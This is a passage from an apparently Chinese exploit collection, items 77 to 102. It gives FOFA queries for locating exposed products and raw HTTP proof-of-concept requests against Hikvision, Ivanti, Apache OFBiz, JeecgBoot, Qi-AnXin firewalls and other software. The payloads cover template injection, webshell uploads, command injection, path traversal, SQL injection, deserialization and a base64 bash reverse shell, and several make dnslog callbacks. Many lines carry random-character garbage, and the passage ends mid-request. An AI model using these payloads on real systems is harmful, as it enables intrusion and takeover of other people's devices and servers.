  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
$ S% a2 _! C% }3 n+ L. l( p- M, U) D}

' w& c9 Y# q  ^2 Y( S* F
" G6 Q; l# i3 z. e$ V" mGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
' n7 F+ n7 A* J) T! YHost: x.x.x.x
6 U1 W) L0 a/ d9 U: f: f
1 b( d! K8 M# c  A% U4 \! B

: N) U8 f7 ?  b+ O77. F22服装管理软件系统UploadHandler.ashx任意文件上传
1 }9 S( A- x8 d2 ]/ ^FOFA：body="F22WEB登陆"
( G* x0 O' k1 {9 a6 aPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
/ E2 a6 J' q0 S3 X2 |9 v! jHost: x.x.x.x
! h3 k& k+ Y0 |6 {6 n2 R4 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
/ v6 R% ]6 u, L7 G7 _5 X% oContent-Length: 433
, W5 {3 S, ]. ?3 R3 ~+ dAccept: */*
Accept-Encoding: gzip, deflate
. E2 a3 i0 X2 n% u3 O; Q) gAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

$ I# T& I4 f# H6 ~2 Z( a; X2 D------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

0 d% G! J1 j3 r, V  N9 d/upload/udplog
' \. x; F4 @2 _6 }------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
1 b: A. D0 w" t
hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
# w4 z6 `' u8 l2 a* `7 J9 lContent-Disposition: form-data; name="Upload"

Submit Query
: H' p9 z  k# E) {( Z# @' a------------398jnjVTTlDVXHlE7yYnfwBoix--
7 j: O, e+ e* d+ ]$ }
! j. }# Z) L, f2 h
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
0 Q& R2 W0 e* ]% W! \* w. U8 {& jFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
" ^9 [0 C  d  H. jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, }6 o3 n, h# TConnection: close
7 H% o" |( B; B; l9 y+ ZContent-Length: 336
0 i5 j. d3 h$ W7 eAccept-Encoding: gzip
2 M' k0 G& W) E% uContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
6 ^  V$ A* \: h) D" G8 U
/ p, b* V# r9 M------YsOxWxSvj1KyZow1PTsh98fdu6l
3 b1 M" s! y+ wContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
' F/ \  Y+ w# r. m' q------YsOxWxSvj1KyZow1PTsh98fdu6l
7 h5 b9 s2 N% ?7 WContent-Disposition: form-data; name="target"
6 K9 E( J* J6 I+ q# {6 X: |5 j
, b  Y8 h6 l- w, s) o% Y' y7 k; i/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
- K5 o% `" G; r- s- V: z' \
+ d6 O' z% q) R' J
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
9 \5 |4 D* m8 V' N1 {$ HHost: x.x.x.x
8 c' j- q4 |  d! [6 X

79. BYTEVALUE 百为流控路由器远程命令执行
. ?$ \) J) X7 Y6 O6 O/ XFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
9 U7 u' i6 V6 S  P& gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 S3 b5 {' U1 t0 j, XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 X( r) u) @7 Y' K' A; ~, I: [Accept-Encoding: gzip, deflate
* s/ K7 k. @2 |- R2 RConnection: close
1 o2 S( n. H# I3 j- iUpgrade-Insecure-Requests: 1

- @  U% o0 }# I4 ~* I3 D3 }
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
/ Z) Q# b( g, Z) V" {FOFA：app="速达软件-公司产品"
$ n# W6 R6 [  C' f! D- ~3 U% c) CPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
' w3 D' A/ [" x) ]2 M4 @  C( uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
9 t, m" _, ?( d+ tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ R/ `# e6 }! P- F0 N$ UConnection: close
Content-Type: application/octet-stream
' J- [) u5 S; ]  v, [: V' |Upgrade-Insecure-Requests: 1

3 V4 C6 _' r; B<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
9 P# q2 V: @- I! T2 P. T# qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 O& ?2 D4 a9 R% O3 T' Z8 OConnection: close
Accept-Encoding: gzip
3 X  n/ `' H, b! v$ h* m" \
6 J7 }7 S4 ?6 a" H2 j4 Y
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
3 R8 n6 k. c& ~  B& Z/ SGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
  y; A5 p; l/ ?  R* x1 m% m  M: gHost: x.x.x.x
/ j& J( l4 {6 b* G( R! E" ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ |0 K$ b: k7 }# k5 oConnection: close
Accept-Encoding: gzip
1 G% {6 Z0 ]3 T) w5 W
- E" T3 J0 b9 @7 E- |4 D) h- q
1 X; V6 b4 s  ^) C9 L82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
  b$ C* p2 i/ A" g1 H' x) l. b: F3 mFOFA：app="思福迪-LOGBASE"
& |" B9 g! [" aPOST /bhost/test_qrcode_b HTTP/1.1
' S7 H) x* y" J" S0 g! o, O, f2 eHost: BaseURL
User-Agent: Go-http-client/1.1
" |; }" g7 `6 K) B, |Content-Length: 23
' y8 B" s- d( I; h" R; o' }, QAccept-Encoding: gzip
Connection: close
) Z1 ]! }" H  Q' d! `. DContent-Type: application/x-www-form-urlencoded
0 u! m- b# Q/ ^% ], i+ gReferer: BaseURL
1 Z; }2 _# [" B; h3 v8 t% s7 i
z1=1&z2="|id;"&z3=bhost
0 F9 u% j6 N6 ]7 T* s

' l+ Y1 Y7 @9 g4 {6 u& w6 P83. JeecgBoot testConnection 远程命令执行
5 w5 {+ Z  q2 ZFOFA：title=="JeecgBoot 企业级低代码平台"
" H8 b4 c: ~) u/ [

POST /jmreport/testConnection HTTP/1.1
4 B+ a7 D4 r0 D' O3 ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
2 u  @+ I, _$ L; YContent-Length: 8881
Accept-Encoding: gzip
  ?. H3 n9 N  w2 kCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
- `2 W" W* _+ C6 ]% `1 E0 @* VContent-Type: application/json
! E$ F0 |6 b& v3 M2 x" U
PAYLOAD
8 c0 @" g+ `4 ?" b0 _% b  o8 y: }
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
$ e+ L% f. G6 @) r! Q4 w8 w* o
6 O' f0 T7 C! M' F; H0 _
, i! x4 s  B+ K- k" U3 Q
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
% Q- t) C( K8 uHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
/ f5 b# C' j$ fContent-Length: 156
& A' ]& @! q, M0 u- r9 J/ T1 l, D* C9 iAccept: */*
Connection: close
Content-Type: application/json
4 c+ Z% g6 O8 V9 o' n$ E( Z: q9 HAccept-Encoding: gzip
, l- h: i; U. \2 x8 |
{
' Z7 S5 p5 s  q: d "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
" H  V6 I* o$ \0 n; p  "type": "0"
}
( b1 f) ~3 \+ u2 c8 M" N' f" P

( W- ]( Q# j& ~3 s. W6 r% X2 S85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
3 J4 V) `, C& {7 S7 Y! h; ]& L4 OFOFA：body="sysaid-logo-dark-green.png"
* w) u! o- o# F1 sEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
7 s: y/ N! b4 ^, s0 U, A( `3 {
PAYLOAD
3 ~4 e2 \9 I* K
回显URL：http://x.x.x.x/userfiles/index.jsp

+ k5 g: a5 k+ q" F0 s! N86. 日本tosei自助洗衣机RCE
( l# ^! `+ f+ a; H  rFOFA：body="tosei_login_check.php"
$ A$ b  ]  W  d0 j$ e) J8 ~+ cPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
1 d" g5 c: `. T& U. p9 }User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
, ]0 y3 v; k* C$ {* f* TAccept: */*
: ]& m2 u. Y& ]( V3 c. y' B* SAccept-Encoding: gzip
Accept-Language: en
7 f& X7 c2 n* E2 E9 E$ e* K9 zContent-Type: application/x-www-form-urlencoded
1 z) p) ?0 ]7 U
+ W  @' X* Q" `2 d# k7 a/ vhost=%0acat${IFS}/etc/passwd%0a&command=ping

( V! d: \" ~1 Z
87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
# _' K1 i7 y: e/ N- i1 n% gHost: X.X.X.X
4 R$ G! k, B+ qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 k- U& K& D2 A% \5 U* J5 ~! bConnection: close
" Y& }0 X6 s8 @- @Content-Length: 198
' N- e& K; s. ]) t7 n1 A0 xAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

4 m$ {6 D) l, E0 |6 T--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
" z8 V: K/ `  b. }--qqobiandqgawlxodfiisporjwravxtvd--
$ {) z, W7 D% v( k3 Q$ F% X( J
  A0 b5 _0 u5 ^5 W0 J2 {# {
/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
# m0 _- {; q: Q6 Q2 \) ^  cFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
, [2 g* }2 R* G7 t" O, \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# g& @2 E$ W* u4 D/ OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: f1 c9 y7 ?8 r" P% ]7 i& P. ^Accept-Encoding: gzip, deflate
# w1 ]- W, s3 K' }6 p* l. |' FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
+ ~2 w* c- F6 }

8 `1 g! q3 \9 T0 p# Q/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
" k( \2 H. l6 i$ w: DPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; F- V% z5 H8 v+ ]0 W( _' d7 wConnection: close
Content-Length: 41
2 B& B1 ]+ h2 E& l2 E( F  xContent-Type: application/x-www-form-urlencoded
/ T. O% Q. e* b7 l; dAccept-Encoding: gzip

1 b# D0 `0 X: W$ noption=2&GUID=-1'+union+select+111*222--+
0 I0 j4 ^0 z4 \% e
' a5 d7 `, y: }: b# b
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
7 m$ j5 n! {+ P2 S& B) A: hContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
3 P  B  Q6 W4 [% \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) ?$ F; I, Q6 P: C2 @Connection: close
0 _- m, v; `% M6 KContent-Type: application/x-www-form-urlencoded
6 X" O( }7 Z9 a( A3 K) EX-Requested-With: XMLHttpRequest

9 A7 C" P' B# `- Yjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
8 w/ |4 c( ~& ?% S/ k9 _

/ o' T; ~: B( Q* @91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
# q4 O: M5 q" ~- WGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
$ q7 c* x  Y; \  `3 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
$ I( I# G* E; Y$ p  VAccept-Encoding: gzip, deflate
% e# V( t! f, F1 v7 ~Accept: */*
Connection: keep-alive


. y. n3 `( F0 O2 _
8 A2 i4 o% Z6 v! J92. 海康威视运行管理中心session命令执行
% h# M: e9 k4 uFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
- h3 b# C# V. z, d9 M: G" G, ]POST /center/api/session HTTP/1.1
5 M6 x$ w: r5 ]3 Z& {& tHost:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
- c5 e  G1 g* X4 C7 c, GX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
  f7 {# z" F" i3 c1 \" NTestcmd: echo test
, ]! x4 N  @  z8 @. {( ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
1 t. k8 w* e5 q6 h! q0 M+ UContent-Length: 5778
6 Q: S) H2 d$ `2 _/ m/ J
PAYLOAD
# Q7 T% @$ ~  [. O# Q
# p: h6 J- _; v  I5 k
( Q+ x3 s( g1 B8 e( i2 X) I( a93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
: y" J! {5 M; E! HPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
, K1 d, Q0 }/ q# @Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
' C; O7 H0 r8 ?+ v& JUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ {/ S+ O& a8 _3 C( i
------WebKitFormBoundarykcbkgdfx
0 V, o4 Q& @2 @3 s, ]4 i1 b: yContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
' Q0 a8 o$ \" o8 g' C( [4 A5 K
1 o1 w. ]. ?" Hwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
& o- y- f, @: n' ~Content-Disposition: form-data; name="submit_post"

& H8 u! f; W9 T1 qobj_app_upfile
1 R  u) J/ X+ S, E/ H$ V0 S------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
9 i8 X  u% \( m1 G9 [. r2 M1 J2 p
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
5 B: A0 W: x( f2 BUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! K" P- w- R8 h* G6 |
, ?0 q( e# u& k' `
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
" B' E1 X/ c( b4 N$ [8 _5 CPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
  t) ~! H6 Y  Z! d5 A+ ~/ {Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
: E6 ^% P% _4 T) F. x. B' ~* T1 uContent-Type: text/plain

. Q# u4 t; v0 m- {3 F1 ^  b- Ypxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
9 t- r" C4 B( a8 m( ~. T$ LContent-Disposition: form-data; name="submit_post"
$ {- Q' y. f6 d# U
( ^$ O0 Q/ A. S9 \9 l7 Hobj_app_upfile
------WebKitFormBoundarybqvzqvmt
/ P% q: H# _  H, Q% w2 }$ o. sContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
3 @5 ?& w  v( r------WebKitFormBoundarybqvzqvmt--
" {$ \+ {0 s3 f8 o  E
& U: O) t% |& J1 L& `5 Q

GET /attachements/xlskxknxa.txt HTTP/1.1
% @# o, a' k4 q! R% gHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
3 t9 [; h6 H& q2 _3 C" WFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
/ t% B, B# w0 A3 d3 i8 {; OConnection: close
* t2 t( [- B# g  f+ p1 LContent-Length: 889
: w; c% C0 M& l2 C# xContent-Type: application/xml
Accept-Encoding: gzip

* ~! ?1 V' T1 C3 M4 I+ X) w. T<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
" [# X( O$ I9 V& h: p      <param>
" l7 C% J  P2 V( i; O( I      <value>
        <struct>
9 H3 Z' [( T2 w8 \0 ]       <member>
          <name>test</name>
. k4 b( A4 ]! J% a          <value>
. d5 @' T5 F1 H7 a: m5 d9 q$ F      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
8 Z0 H) \6 p  w) [7 K' P/ ]" J) E" t          </value>
' r8 i1 Q! r6 J2 W+ c/ Z        </member>
4 _/ z& c9 t4 [  C: b& O6 \+ a+ t( H      </struct>
      </value>
$ W  t+ v* e/ e4 h: Y    </param>
    </params>
</methodCall>


2 n' ?4 B1 ^& M! j1 @7 f5 q用ysoserial生成payload
8 C) W- e* p) Zjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

" C9 B" W7 f1 t1 p$ Z0 [
将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
; b% k% G) k. h/ k" aHost: 192.168.40.130:8443
/ Y& _4 X# F0 ?6 kUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
& _( `2 |! l# VConnection: close
Content-Length: 889
- H! R/ z1 Q+ i# Q/ b& O1 N' X8 a. HContent-Type: application/xml
Accept-Encoding: gzip
" @* Z/ m; D8 ?+ U5 H, b2 S+ ]
0 `& A# u6 ^/ X  Y$ c; DPAYLOAD
: Y9 _  T- }* ~, A/ E5 n2 t/ p) ^, k
# a+ N. s- D2 B/ w4 L! c5 `96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
4 J! Z5 Y9 N% y7 v$ A0 JHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- D! S4 ^( _+ Z( N% o5 i* r+ |Accept: */*
# ~; L% A0 ]8 _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, h, F) j5 Z8 fContent-Type: application/x-www-form-urlencoded
Content-Length: 55

/ t. L! F3 S8 i9 w' O0 e. J! egroovyProgram=throw+new+Exception('id'.execute().text);
. X5 a9 E9 [& M3 J1 z

反弹shell
- e9 H  A# f7 d% f9 d4 [在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
0 h- i; V. {0 ?. ?8 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; h0 c. o# {/ ]# MContent-Type: application/x-www-form-urlencoded
Content-Length: 71

6 n+ |" q2 w# S3 E/ J: i, FgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

* u$ z3 `# k) U! W* V' ?' W97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
9 L( @1 n2 Y$ D1 X: k# ^* x  w: s( C3 fFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
2 v; p! Y# A; @! nHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
6 D/ y( Q5 M9 D: `- SConnection: close
Cookie: rememberMe=PAYLOAD
) f* T4 e$ B' T5 V, D  h8 AX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
4 k( L# V% R+ J# NCVE-2024-0195
2 g: p9 e' W6 W) F  BFOFA：app="SpiderFlow"
3 N* ]- R$ T4 g% iPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
7 j5 W4 i# n: O6 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
6 |% ^/ P3 L8 j: LAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# g/ U  c& R( f% V9 w; ?Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
4 i6 w$ A8 i' {, ?1 _1 s% r

9 k/ j& X9 u* h4 C* C) c99. Ncast盈可视高清智能录播系统busiFacade RCE
/ r% {& m5 O8 F8 [CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
( R# o% o2 K& R+ n& kHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
! r8 U% m- [5 |6 m3 gAccept: */*
4 k/ W$ j" {5 s( WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% z# v# B. L6 n! G& @Content-Type: application/x-www-form-urlencoded; charset=UTF-8
7 u4 g; d6 u" N/ ~4 {X-Requested-With: XMLHttpRequest
* _( w8 H8 G# z6 O/ G
6 ]" D5 `: H' K3 t%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

0 K, i# E( N' p9 V
' f# V9 Y5 A& _# ?100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
! [- K1 q6 Y6 dFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
8 k" X6 r' L9 zConnection: close
6 ?% s; a% P0 V7 T' ?Content-Length: 201
" B' S! q0 k) ~; Z  GContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

; O; _' `  q8 O4 U: H. e9 p# h------WebKitFormBoundarygcflwtei
5 }- O+ U9 f+ v: n5 g/ UContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
' l  g$ N/ @! \
2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
: j! Z5 O7 ]2 ?. V

- h* f, U5 G' p8 x; c* C5 R101. ivanti policy secure-22.6命令注入
0 H9 u8 `8 c) \$ R. L; v6 bCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
* m: j8 F7 V" eUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; \" d3 S% B+ P( b- Z) H% T# F! n4 aConnection: close
Accept-Encoding: gzip
* q) x+ B' W7 P' d

5 b4 _7 _; a, }" ?+ b102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
' I$ |, ^) ]0 e* E, A8 D. X2 UCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
- D- @4 o* y* kPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
4 b9 Q2 z6 J# T  fAccept-Encoding: gzip

